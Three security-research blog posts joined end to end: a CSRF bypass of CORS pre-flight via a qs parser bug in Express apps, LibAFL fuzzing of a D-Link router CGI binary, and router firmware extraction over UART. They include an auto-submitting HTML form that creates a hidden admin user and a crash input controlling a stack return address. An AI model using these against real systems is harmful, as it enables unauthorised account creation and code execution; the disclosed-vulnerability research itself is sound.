Have you ever had a perfectly good Cross-Site Request Forgery¹ attack blocked by CORS?

Today, I will show you how to creatively skirt around limitations imposed by CORS to perform CSRF attacks in applications written using Node.js and Express.

How CORS pre-flight (sometimes) stops CSRF

Wait a second Max, what is CORS? What is pre-flight?

Cross-Origin Resource Sharing (CORS) is a mechanism used by the browser to verify if a cross-origin request should be performed by the current page. To do this, under certain conditions, the browser may send a pre-flight request (using the OPTIONS method) to whatever origin the page is sending a cross-origin request to and check if the receiving service allows such cross-origin requests.

The receiving service will serve a response containing special CORS headers (e.g, Access-Control-Allow-Origin) which will relax the Same-Origin Policy (SOP) restrictions. If no CORS headers are returned, the regular SOP restrictions apply.

If the pre-flight checks fail, the desired cross-origin request won't be sent.

Knowing this we can see that if the request we want to send gets pre-flighted, even if no other mitigations such as anti-CSRF tokens or SameSite directives for cookies are present, our attack might be foiled!

So, how do we prevent the browser from stopping our attack?

Simple requests

A request won’t be pre-flighted if it’s a so called simple request (which basically means that it could be sent using a <form> tag).

To be considered as simple an HTTP request requires:

1. Simple HTTP Methods
2. Usage of CORS-safelisted headers only
3. Simple Content-Types

Only GET, HEAD and POST are considered to be simple methods. This means that if you have an API authenticated via cookies which uses methods like PUT you won’t be able to attack that specific API.

The only headers safelisted² when sending cross-origin requests are the following:

• Accept
• Accept-Language
• Content-Language
• Content-Type
• Range

Lastly, only three content types are allowed:

• application/x-www-form-urlencoded
• multipart/form-data
• text/plain

Wait, but what if my target application’s JavaScript code uses application/json to send requests to the backend? What happens if I try to send the same requests from an attack page?

Let’s test this by writing some JavaScript code in our browser, to send a cross-origin request.

await fetch("http://localhost", {
  method: "POST",
    headers: {
    "Content-Type": "application/json"
  },
  body: JSON.stringify({ field: "example" }),
    credentials: "include"
  });

If the target page (in this case / at http://localhost) has no CORS headers the result will appear as follows.

Since the request is not considered simple a pre-flight request will be issued and, after checking the CORS policy of the target origin localhost, no POST request will be sent.

How can we prevent our request from triggering a pre-flight check?

Expressjs built-in middlewares

Expressjs has a series of built-in middlewares, two of which are of interest to us: express.json and express.urlencoded.

These middlewares are widely used to parse incoming requests with the respective content types. It is also common in Express applications to declare multiple of these middlewares with code like:

app.use(express.json());
app.use(express.urlencoded());

This means the application will accept and interpret multiple content types, allowing us to send a request using application/x-www-form-urlencoded which will be accepted by the server.

That’s great, we can send requests now which won’t get pre-flighted! We can check this by again using the fetch API in the browser like we did before, but changing the Content-Type header and body.

await fetch("http://localhost", {
  method: "POST",
    headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: "field=example",
    credentials: "include"
  });

We can see that this time there is no pre-flight request, our request is sent correctly and receives a nice “200 OK” status code from the server.

There is still a CORS error because the JavaScript code of the page is not able to read the response, but it’s irrelevant for a CSRF attack because our objective is to send data to the vulnerable application and not to receive data by it.

But what about more complex JSON objects, how can we represent them using a URL-encoded query string?

Introducing qs

qs is the npm package with the most downloads (100+ mil weekly) used for parsing query strings. It also supports nested objects, which allow to represent complex objects using URL-encoded querys strings using bracket syntax.

This package is also the library used by the default by Express when requesting the express.urlencoded middleware with the extended option set to true. This option is currently (since Express 5) set by default to false, but it’s pretty common to force it to true using code like the one below.

app.use(express.urlencoded({ extended: true }));

We can leverage the support of qs for nested objects to send a more complex request, in this case for an application mocking a creation of a user.

We can see we successfully created the correct object but… Why isn’t the admin field represented as a boolean from the application?

We can see that the value of admin is the string “true” and not the boolean value true. If any type of check is performed before creating the user it might fail!

But qs has a bug when parsing nested objects which can lead to having true booleans.

By creating an object with an admin field, as well as a string which has the same name of the object and with the value admin, we can cause the parser to create a true boolean.

user[username]=sparrrgh&user[password]=strongpassword&user[admin]=&user=admin

By sending the new payload we can see how the page responds once again with the internal representation of the object, this time displaying the correct boolean value for the field admin.

We can now create a CSRF Proof-of-Concept using fetch again or use the much more classical form tag by simply percent-encoding the square brackets as requested by RFC 3986.

BurpSuite Professional can easily create our test page which, when visited by an unsupecting admin user, will abuse their active session to secretly create another admin user to which we know both the username and password to.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/" method="POST">
      <input type="hidden" name="user&#91;username&#93;" value="sparrrgh" />
      <input type="hidden" name="user&#91;password&#93;" value="strongpassword" />
      <input type="hidden" name="user&#91;admin&#93;" value="" />
      <input type="hidden" name="user" value="admin" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Conclusion

After disclosing this to the developer the bug has been patched in qs version 6.15.0 and now conflicting merges will lead to the creation of an array containing the two fields instead of creating a boolean.

It is to note that while the bug is patched, at the time of writing there is no CVE assigned and thus is not tracked by common dependency checkers.

If you are trying to replicate this attack remember the premises set initially. The vulnerable website must have all CSRF mitigations disabled, meaning:

• SameSite directives for session cookies set to None
• No anti-CSRF tokens
• No referer checks

While the parsing bug may be patched, many Express applications still implement multiple middlewares allowing the usage of simple requests for CSRF attacks. With verb tampering you may even be able to bypass SameSite directives set to Lax.

Timeline

• 10 February 2026 - Disclosed issue to developer
• 14 February 2026 - Patch³ released in qs v6.15.0

Footnotes

Intro

In the previous post¹ we explored how I chose an embedded device to attack, how to extract its firmware and how to choose a target component to fuzz.

We explored why I chose to research CGI binaries and what they are and how they interact with Linux briefly.

Today we will delve into automated vulnerability research through fuzzing. How to write a fuzzer and how to triage vulnerabilities.

The vulnerability described affects the firmware DSL-3788_fw_revA1_1.01R1B036_EU_EN , it has been fixed and MITRE assigned the following id to track it CVE-2024-57440.

Fuzzing

Fuzz testing (better known as fuzzing) is a dynamic application security testing technique where input is generated (or mutated), is fed to the program and finally feedback is observed for interesting behaviors. Information about the running program is usually collected through instrumentation.

This definition is purposefully vague to comprehend a variety of different targets and techniques, but exposes the concepts which I find to be fundamental for fuzzing.

During the years fuzzers and all the tooling around them was built to trigger crashes from programs written using languages which manage memory manually (e.g., C). This overfitted fuzzers to find memory corruption vulnerabilities, given common feedback loops like edge coverage.

This limitations are being worked on with new techniques like differential fuzzing and different feedback loops like the violation of previously decided invariants².

So, why use fuzzing? To find vulnerabilities faster (or try to) and with less effort than manual vulnerability research.

LibAFL

Fuzzers are mostly built to do the same stuff, with very little differences or approaches. It can be useful then to have a library that collects the most important parts of a fuzzer while still allowing for customization for different targets and use cases. LibAFL is just that, a library supporting a variety of different techniques and platforms and with great performance as a bonus (thanks Rust!).

LibAFL and MIPS

Ok, so it’s time to build our fuzzer and get free 0days right? LibAFL supports different platforms and architectures. We checked and MIPS is supported, right? Right?

Yeah, LibAFL did not support MIPS when I started this project, and I didn’t bother to check before buying the router. This meant I either could change target or delve into MIPS and Qemu internals to add support…

So, after a few days (and some pain) I managed to add support to LibAFL and the patched Qemu³ it uses. Support for MIPS (with my contribution) was added in the 0.9.0 release⁴.

I sadly was not able to make the most important feature work, QASAN. This feature allows for ASAN to be used on compiled binaries that would otherwise not support it. We will talk later on why ASAN and sanitizers in general are fundamental when fuzzing for memory corruption vulnerabilities.

Writing the fuzzer

Now that LibAFL supports our target, we have to choose the different approaches which the fuzzer will use to achieve our goal.

The code for the fuzzer is on the Github repository⁵.

Binary-only fuzzing challenges

Since we don’t have access to the source code of the CGIs we must use a binary-only approach.

With source code we would usually compile the instrumentation used to test the fuzzer statically. Without this we will rely only on analysis we can perform using the binary, which will lose some precision as well as performance (which is a priority when fuzz-testing). Between all the performance decreases we won’t be able to use sanitizers.

Sanitizers are compiler instrumentation modules which are used to detect different errors at run-time. The most popular is AddressSanitizer (ASAN) which can be used to detect most memory corruption errors.

Not being able to use such a tool leaves the fuzzer blind to a lot of vulnerabilities which do not cause an immediate crash of the executable. For this reason LibAFL implements QASAN⁶, which allows the detection of memory errors in a guest Qemu emulator with a binary-only approach bypassing the need for compile-time instrumentation. As said before, I couldn’t get this part to work for MIPS, which means we will be left with traditional crashes caused by signals like segfault.

Another approach used by a majority of fuzzers is snapshot fuzzing. This is an optimization technique which saves a snapshot of the state of the program (e.g., registers, stack, etc) before the target code and restores it after either a corruption happens or the end of the target function to fuzz is reached.

flowchart TD
    a[Program starts] --> b[State is saved]
    b[State is saved] --> c[Fuzz target]
    c[Fuzz target] --> d[Crash?]
    d --> f[Save crash file]
    d --> b[State is saved]

It only executes the portion of code between the snapshot and the end of the fuzz target, saving CPU cycles which would otherwise be dedicated to inizialization and destruction code (e.g., to load libraries).

Feedback and objectives

Feedback guides the fuzzer towards interesting code paths. The most common (and easy to implement) feedback is coverage, more specifically edge-coverage. This feedback instructs the fuzzer to save an input as interesting if it leads to the execution of a new portion of the executable, leading the fuzzer to autonomously discover the program.

An objective is an input which causes a state from the program which is desired. In our case we are only interested in inputs which cause a crash, which are sometimes a symptom of a memory corruption vulnerability.

Input

We also have to choose what’s the best approach to create inputs for our target. This can be either:

• Mutational
• Generative

Mutational approaches heavily rely on feedback to mutate a set of initial data (called seed), towards interesting code paths and crashes. This is particularly effective for loosely structured input, or to test the structure of the input itself. It also does not require any knowledge on the target besides creating the set of inital inputs (valid or not). This can be as simple as flipping bits of a valid input, to see if it leads to new coverage.

Generative approaches are useful for highly-structured input, for which most of the mutations would lead to rejected inputs (i.e., getting less coverage). It requires precise knowledge on the structure of the input, meaning some reverse-engineering must be performed.

As the input I will generate will be structured, the first approach would lead to a lot of the inputs being rejected because they’re not valid, while the second approach wouldn’t take advantage of any feedback and simply generate inputs which fit the grammar.

For this reasons I chose to use Nautilus⁷ which it’s supported by LibAFL, and uses an hybrid approach taking advantage of both coverage as feedback and a grammar which it’s easy to implement.

Harness

To create the harness, we need to know exactly how the input is consumed by the program (e.g., console arguments, standard input, sockets) and, if everything fails, how the input is represented in memory to inject it directly. In my case part of the input is in environment variables which are easy to set, but since they are read right at the start of the program a snapshot could easily break them.

For this reason I decided to inject the input directly in memory.

Part of the input is a linked list in the stack (this is how environment variables are stored) while part of it is taken from the file descriptor 0 (standard input).

For the envinroment variable portion, I decided against storing the testacase on the stack since it might override necessary program data. I stored only the array of addresses on the stack, and then mapped a different portion of memory to store all the test case data.

Also, since snapshot fuzzing is used, we have to understand which portion of code we want to fuzz, and set the instrumentation to stop and resume from the correct addresses.

Grammar

For the grammar I took heavy inspiration from TrackmaniaFuzzer⁸, which also uses Nautilus, and chose a very simple approach. Context-free grammars can be represented (and are usually processed) using syntax trees. I created the grammar using two main sub-trees. One for the input sent through the body of the request received by the CGI (which is sent using stdin), and the other for the rest of the request (sent using environment variables).

This makes it possible to unparse the tree mutated by Nautilus starting from different rules, thus being able to inject using different techniques.

One subtree is dedicated to all the inputs which have to be sent trough environment variables. The other is for the body of the request, which has to be sent through standard input.

flowchart TD
    id1((Root)) --> id2((Environment variables))
    id1((Root)) --> id3((POST body))

For both subtrees I chose a very simple approach, which can be greatly improved. First, I created some simple basic types to use in the grammar, as well as “naughty” data which contains stuff to facilitate crashing.

For the environment variables I reverse engineered the executable to searching for the uses for the getenv libc function (and eventual wrappers) to only implement those which are used by the executable.

While for the body of the request I simply created pairs of fields and url encoded strings.

I mined the executable for fields and parameters, which were used in the grammar. This is not the best way to but it’s really cheap (in terms of time spent) and fast (and, as I found out later, it works).

QEMU Modules

Modules (called helpers, in LibAFL 0.8.2) are ways to interact with the Qemu emulator using LibAFL via hooks. These hooks are useful to communicate to the emulator how to react to different events. The modules I used for my fuzzer are two:

• QemuGPResetHelper
• QemuFakeStdinHelper

The first module is used to implement snapshot fuzzing, it saves the state at the start of the execution, and re-stores it every time. Specifically it restores the registers and the current working directory (because the webproc executable changes it during execution). It does not restore the memory connected to the environment variables because, since it is a linked list of null-terminated strings, everything after the last null-byte of the last string will be ignored.

This means I can leave pieces of old inputs in memory, because they will be ignored, saving precious CPU cycles which would otherwise be used to zero out that region of memory.

The second module is used to hook a variety of syscalls, and specifically hook the read syscall to force the executable into using our testcase in case the standard input is read.

For these hooks, as well as as the general structure of the code, I took inspiration from Epi052 fuzzing101’s soulutions ⁹.

Triaging

After testing the webproc binary we got some crashes, now what?

Now we have to triage the bugs. Nautilus stores the result of crashes on disk using the representation of derivation trees. This means that to reproduce the crash, we need to first “concretize” the output.

Since all of the grammar functions are implemented using Rust, it was to add a flag in the fuzzer which, instead of running the fuzzer, creates a concretized version of the crashes. (a new executable would’ve been better, but I was lazy)

After concretizing the crashes I then created a small Python script (called repro.py in the repository) to set up an enviroment using the concretized results and then run the executable using qemu-mips to debug it using gdb-multiarch.

This allowed me to easily and quickly debug all the executables having the correct envinroment variables and input.

Of all the crashes found I searched for the most easily controllable and one crash seemed promising, crash 3-5.

This crash directly controls the value of the return address, but how did I discover this? First, the concretized input is the following:

REMOTE_ADDR=192.168.1.1\00HTTP_HOST=objquery::Get obj val Failed!No object name to be added!:21588\00REQUEST_METHOD=HEAD\00SCRIPT_NAME=/cgi-bin/webproc\00CONTENT_LENGTH=14488\00CONTENT_TYPE=application/vnd.is-xpr\00QUERY_STRING=script%3Dvar%3Amod_ACL\00HTTP_COOKIE=sessionid='%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', '%s'='%s', @&~*ppp:١٢٣;language=Send %04x-POST msg failed!;sys_UserName=var:sys_Token␡set𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈;
FUZZTERM
%3AInternetGatewayDevice.WANDevice.1.WANConnectionDevice.3.X_TWSZ-COM_VLANID%3DContent-type%3A%20text/htm

This concretized input is split in two parts: the environment variables before FUZZTERM and the value sent to stdin as body of the requests after it. The registers at the time of the crash contain the following values:

As we can see the return address (which in MIPS is contained in a dedicated register called ra) is not part of any code section. and registers s0 through s7 seem to contain some ASCII pattern. Usually at this point you would just search the bytes of your return address inside your input we have no match. The registers which were overflowed contain a strange pattern when converted from hex to their ASCII representation, can you recognize it?

JyVzJz0nJXMnLCAnJXMnPSclcycsICcl

This looks like base64, given the presence of only lowercase and uppercase letters and repetition of patterns probably depending from the input.

Decoding it gives us the following string:

‘%s’=’%s’, ‘%s’=’%s’, ‘%

Which is part of our original input!

Given the low number of crashes and limited time, I did not set up a minimezer like Halfempty which meant I minimized the crash manually until I created the following input:

REMOTE_ADDR=192.168.1.1\00HTTP_HOST=192.168.1.1:21588\00REQUEST_METHOD=HEAD\00SCRIPT_NAME=/cgi-bin/webproc\00CONTENT_LENGTH=14488\00CONTENT_TYPE=application/vnd.is-xpr\00QUERY_STRING=\00HTTP_COOKIE=sessionid=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEEE;
FUZZTERM

Which resulted in a controlled crash where all the registers from s0 to s7 contain AAAA (or, in hex 41414141) and the return address contains EEEE (or, in hex 45454545).

IF the cookie contains only regular ASCII characters no base64 encoding is applied, giving complete control over all stored registers and the return address register. We will see in the next blog post how this can be exploited to gain remote command execution.

Root cause analysis

It’s important to know the reason why a crash happens. This is useful for developers to fix the bug and for us to know the preconditions to corrupt the memory correctly.

The tooling made reconstructing the backtrace of the crash hard, and given the little time remaining I chose a… creative approach. I decided to crash the program with different-length inputs and leak part of the address through the ra register by partially overwriting it.

This version of MIPS is big-endian, which means we will overwrite the most-significant bytes of the address. This meant I could leak the two least-significant bytes (as per screenshot above they are 30f8), since the others are my controlled value followed by a null-terminator.

By analysing the sections of the executable we could find the function which called the function triggering the overflow. This can be done by cycling over the sections and checking if:

1. The section is executable
2. The address pointed in the section makes sense

In this case the return address simply pointed at the data section fo the CGI binary, and we know it’s the right one because it’s right after a jump as seen in the Binary Ninja graph shown in the screenshot (at the bottom see address 0x004030f8).

But what are we looking at?

This function is used by the webproc binary to verify if the user is logged in. To do this it checks if a cookie named sessionid exists and then it validates and assigns a privilege level. (This is not pictured, as it’s not interesting for this vulnerability)

This is supported by the the minized testcase shown previously, where the sessionid cookie contains the data present in the overflow.

The actual bug is in the COMM_MakeCustomMsg function, from the libssap library.

In this function a buffer is created on the stack (not pictured) and then the buffer contents are set to 0 using memset. The sprintf function is then used to fill the buffer with a formatted string, using two strings from the heap.

sprintf is a dangerous function, because it does not check the bounds of the formatted data before saving it. In this case the length of buf is smaller than the length of the data written in it, leading to an overflow on the buffer onto the rest of the stack.

D-Link responded with an advisory¹⁰ and the following fix:

The only difference is the usage of the snprintf function which, differently from sprintf, does check the bounds before saving it in the buffer.

In this case the bound is set to 512 bytes which fits into the 513 byte buffer (the additional byte is for a null-byte as a string terminator) resolving the buffer overflow.

In the next post

In the next post we will exploit the vulnerability found through fuzzing, talk about MIPS exploitation and the reasoning behind writing a ROP gadget plugin for Binary Ninja.

If you have questions or suggestions, you can email me at max[at]sparrrgh[dot]me.

Footnotes

This will be the start of a series of blog posts based on my bachelor’s degree thesis, developed during an internship at Secure Network srl¹. The objective of the internship was to analyze an embedded device, and develop tools to test its security.

As a result I developed a fuzzer to search for vulnerabilities in CGI binaries and a Binary Ninja plugin to search for ROP chains in MIPS binaries, as well as an exploit for one of the crashes triaged.

Today will be really introductory and we will briefly explore the basics of how to obtain and analyze a device’s firmware, and the process to choose a target binary for the fuzzer. In the next part we will explore how to write a binary-only fuzzer in LibAFL and finally in the third part how to exploit the vulnerabilities found.

Target choice

Embedded device is quite a broad term, and it encompasses many different type of systems, from huge solar inverters to tiny IoT cameras. These devices are designed to perform a handful of specific tasks, and often have ad-hoc hardware and software to do so.

The requirements for low power consumption (they are designed to not be powered off) and low memory consumption (system resources are kept to a minimum to reduce cost and size) make implementing a lot of the modern memory corruption mitigations impossible. This makes them a prime target to gain a foothold in a network.

Since there are a miriad of devices which could be classified as “embedded systems”, we have to find the type of device which better suits our needs. I wanted a device which:

1. Exposes a number of services to the network.
2. Whose compromise could lead to having further access to user data or to the network on which it’s installed.
3. It’s cheap enough that if I accidentally break it, it won’t break the bank.

For this reasons I chose to target a router.

Commercial routers have to handle a lot of different network services as well as services to manage them, making their attack surface quite extended. Also, compromising one could grant access to different sections of the network.

So I headed to Amazon and chose the one reported as “most purchased” at the time which was the DSL-3788 by D-Link², a router designed with home use in mind.

Studying hardware configuration

Luckily someone uploaded pictures of their damaged router on a support forum³, which allowed me to research the PCB and the components before even buying the router. From the uploaded pictures we can note a few things.

The PCB is engraved with the model number of another router. This make it more probable that code is also reused, meaning that a vulnerability found could affect multiple models. We can also identify single components like CPUs, memories and available interfaces. Identifying this components is fundamental to perform hardware attacks and gain important information which we will use during the analysis of the software. As an example, by identifying the CPU model as EcoNet EN7513GT we can determine the architecture used, which in this case it’s MIPS. This will prove to be really important (and a real pain) later.

We can also see a potential UART interface. Exposed serial communication interfaces (e.g., UART, JTAG) are the low hanging fruit for firmware extraction. Extracting firmware using this interfaces usually requires low to none hardware modification, and relatively cheap hardware to interact with them.

If none are found, it might be necessary to dump the firmware directly from memory. This is done by either detaching the flash memory chip completely and attaching it to a memory reader, or by sniffing the traffic between the integrated circuit and flash memory. Firmware isn’t usually encrypted at rest, but high-security devices might have it as a feature, making dumping the flash memory useless.

An alleged UART port is visible (just guessing, based on the 4 pins in a row) in the pictures provided, and engraved right below the pins are the (alleged) use of the pins.

Testing the UART port

A UART port can be used to communicate through serial with the integrated circuit and it’s used by vendors to debug the device. Usually the pins are not installed on production devices, and only the pads are exposed. These pads have sometimes their traces interrupted to stop end users from interacting with it.

I first tested if the pins found were connected and the engraving on the PCB was correct by using a multimeter on each of them. There are also other more physical techniques to check if the pads are connected, like shining a bright light oh the backside of the PCB as detailed here⁴. I then used a logic analyzer to verify if the port was communicating correctly, and which was the correct baudrate which the interface uses to communicate. The logic analyzer shows some logs as output! Meaning it does in fact communicate through serial (thankfully, because my soldering skills are almost non-existant).

Obtaining firmware

Firmware is typically distributed by vendor in encrypted form, to prevent users from reversing it or modifying the code run on the system. Usually this leads to interacting with hardware to get the software, but there are software-only ways to get it. If even only one past version of the firmware did not have encryption, we could decrypt the following versions using its code as detailed in this ZDI article⁵. This has the added benefit of being able to decrypt different firmwares of the same vendor, by writing just one decryptor.

Sometimes firmware is distributed in unencrypted form through update systems directly on the device or, for modern embedded systems, through a mobile application. It might be worth trying to intercept the traffic (especially if you already have a mobile app testing laboratory) and check if it’s possible to get an unencrypted firmware update this way.

In this case I decided, for future debugging purposes, to go with the hardware route and interact with the UART port we discovered previously. We can now connect using our favorite serial communication tool, and interact with an exposed (root) shell.

There are many different tools available to do this (Glasgow, Shikra, Buspirate, JTAGulator, etc.) with different prices ranges according to the number of supported protocols. The one shown in the picture and used during the research is a Shikra.

After connecting the pins as instructed by the Shikra documentation we can see an interactive root shell, we can use this to explore the firmware and dump it to our machine to get information more easily. The commands available are often really limited (as seen in the picture above), uploading a more versatile version of Busybox will lift the limitations and give us the tools to actually analyse and dump the system.

In my specific case I used wget on the device and a local Python webserver on my machine to download my Busybox on the device (it’s important to note that a reboot will delete the file), and then used dd to download all of the firmware data.

Dumping from a live system also has the added benefit of being more precise in how the it’s setup at runtime and gives us access to temporary files and logs useful during the analysis.

Firmware recon

Great, now that we have a firmware to analyse, what are we looking for? A great place to start is the startup configuration of the system. init is the inizialization process started by the kernel, and its configuration depends of the init system used.

If sysvinit is used, it will load its configuration from /etc/inittab.

If systemdinit is used, it will load its configuration from unit files. These are searched in the system unit path and user unit path.

Both of them will execute the scripts contained the directory /etc/init.d, which are fundamental to enumerate the custom services started by the firmware.

Below, as an example, an extract of the file daemon.rc found in the firmware for the DSL-3788 router. Please note the mini_httpd webserver running as root, right at the end of the snippet.

#!/bin/sh

if [ "${HTTPS}" = "yes" ]; then

if [ "${HTTPS_2048}" = "yes" ]; then
	/usr/sbin/openssl genrsa -out /var/openssl/cakey.pem 2048 -aes256
	/usr/sbin/openssl req -new -x509 -days 2922 -key /var/openssl/cakey.pem -config /var/openssl/openssl.cnf -out /var/openssl/cacert.pem -sha256
else
	/usr/sbin/openssl genrsa -out /var/openssl/cakey.pem 1028
	/usr/sbin/openssl req -new -x509 -days 2922 -key /var/openssl/cakey.pem -config /var/openssl/openssl.cnf -out /var/openssl/cacert.pem
fi
	/bin/cat /var/openssl/cakey.pem > /var/openssl/mini_httpd.pem
	/bin/cat /var/openssl/cacert.pem >> /var/openssl/mini_httpd.pem
	/usr/sbin/mini_httpd -d /usr/www -c '/cgi-bin/*' -u root -S -E /var/openssl/mini_httpd.pem -T utf-8 -Y ALL:!SHA
else
	/usr/sbin/mini_httpd -d /usr/www -c '/cgi-bin/*' -u root -T utf-8
fi

The /etc/passwd file is perfect for looking for unsecured users or custom login shells. Sometimes these devices allow for restricted SSH access and the custom login shells used might be vulnerable or have undocumented administrative functions ( 😉 ).

top and ps are great for looking at the active processes and the command strings used when they were started. The command strings might reveal credentials, configuration files, or potential misconfigurations (like the webserver running as root shown before).

Configuration files (usually identified with the extension .conf) might reveal additional information on the services used. Below, as an example, there’s a series of configuration files found in the router. Note how one of them is in the /tmp directory, and would’ve been missed in case I didn’t take an image of a live system.

sparrrgh@sparrrgh-spacebase:$ find . -type f -iname "*conf*" -not -empty -exec grep -Iq . {} \; -print
./var/siproxd.conf
./var/smb.conf
./var/udhcpd.conf
./var/tmp/snmpd.conf
./var/dhcp-fwd.conf
./var/xml/WFAWLANConfigSCPD.xml
./man/man8/iwconfig.8
./tmp/snmpd.conf
./usr/www/js/New_GUI/DeviceConfig.js
./usr/www/js/New_GUI/configuration/DeviceConfig.js
./usr/www/new_web/New_GUI/Set/config_upgrade.asp
./usr/www/html/languages/es_es/page/qos_config.js
./usr/www/html/languages/es_es/page/queueconfig.js
./usr/www/html/languages/it_it/page/qos_config.js
./usr/www/html/languages/it_it/page/queueconfig.js
./usr/www/html/languages/fr_fr/page/qos_config.js
./usr/www/html/languages/fr_fr/page/queueconfig.js
./usr/www/html/languages/en_us/page/queueconfig.js
./usr/www/html/languages/en_us/page/qos_config.js
./usr/www/html/languages/de_de/page/qos_config.js
./usr/www/html/languages/de_de/page/queueconfig.js
./etc/inetd.conf
./etc/bftpd.conf
./etc/config_full.xml
./etc/udhcpd.conf
./etc/samba/smb.conf
./etc/config.xml
./etc/siproxd.conf
./etc/host.conf

Finally, check for custom kernel modules. It’s really hard to exploit modules remotely (one crash and the whole system is gone), but an attack through a module might let you skip the privilege escalation phase.

A good place to look for custom kernel modules is again the init.d directory. Below is an example of searching for scripts which use the command insmod, this is the command used to load modules in the kernel.

sparrrgh@sparrrgh-spacebase:$ grep "insmod" *
btn.rc:insmod /lib/modules/driver/btn.ko 
led.rc:insmod /lib/modules/driver/led.ko
rcS:insmod /lib/modules/module_sel.ko
rcS:insmod /lib/modules/tcvlantag.ko
rcS:insmod /lib/modules/tcledctrl.ko
rcS:insmod /lib/modules/tccicmd.ko
rcS:insmod /lib/modules/sif.ko
rcS:insmod $KERNEL_DIR/kernel/drivers/net/ifb.ko
rcS:insmod /lib/modules/crypto_k.ko
rcS:echo "insmod ETH_LAN driver"
rcS:insmod /lib/modules/fe_core.ko
rcS:insmod /lib/modules/qdma_lan.ko
rcS:insmod /lib/modules/eth.ko
rcS:insmod /lib/modules/eth_ephy.ko
rcS:insmod /lib/modules/dying_gasp.ko
rcS:insmod /lib/modules/driver/product.ko
rcS:insmod /lib/modules/qdma_wan.ko
rcS:insmod /lib/modules/tc3162_dmt.ko
rcS:insmod $KERNEL_DIR/kernel/net/sched/act_mirred.ko
rcS:insmod $KERNEL_DIR/kernel/net/sched/cls_fw.ko
rcS:insmod $KERNEL_DIR/kernel/net/sched/sch_htb.ko
rcS:insmod $KERNEL_DIR/kernel/net/sched/sch_prio.ko
rcS:#insmod $KERNEL_DIR/kernel/net/bridge/netfilter/ebtables.ko
rcS:insmod $KERNEL_DIR/kernel/net/bridge/netfilter/ebtable_filter.ko
rcS:insmod $KERNEL_DIR/kernel/net/bridge/netfilter/ebt_ip.ko
rcS:insmod $KERNEL_DIR/kernel/net/bridge/netfilter/ebt_ip6.ko
rcS:insmod /lib/modules/hw_nat.ko FOE_NUM=16
rcS:insmod /lib/modules/2.6.36/kernel/drivers/usb/class/usblp.ko
tbs_nfp.rc:	insmod /lib/modules/2.6.36/kernel/net/nfp_adapter/tbs_nfp_adapter.ko
tbs_nfp.rc:	insmod /lib/modules/2.6.36/kernel/net/nfp_adapter/tbs_nfp_module.ko

Choosing which executable to fuzz

After looking around for a bit, I had to decide which executable I wanted to fuzz.

I wanted a service which was reachable from an attacker without physical access to the device and with low-to-none user interaction (this will make creating an harness for the executable way easier when developing a fuzzer).

With this in mind I chose to fuzz the CGI binaries of the web server used to configure and manage the router.

These binaries have the added benefit of having none of the recommended mitigations used by modern compilers, meaning we can pwn like we are Aleph One⁶ in ‘96.

What is CGI, and how does it work

From RFC 3875⁷:

The Common Gateway Interface (CGI) allows an HTTP, server and a CGI script to share responsibility for responding to client requests. The client request comprises a Uniform Resource Identifier (URI), a request method and various ancillary information about the request provided by the transport protocol. The CGI defines the abstract parameters, known as meta-variables, which describe a client’s request. Together with a concrete programmer interface this specifies a platform-independent interface between the script and the HTTP server.

Which basically means that it’s a way to extend the functionalities of a web server by providing access to custom CGI “scripts”. These executable files are usually Perl scripts, but binaries can also be used (which are the intended target of the fuzzer we want to build).

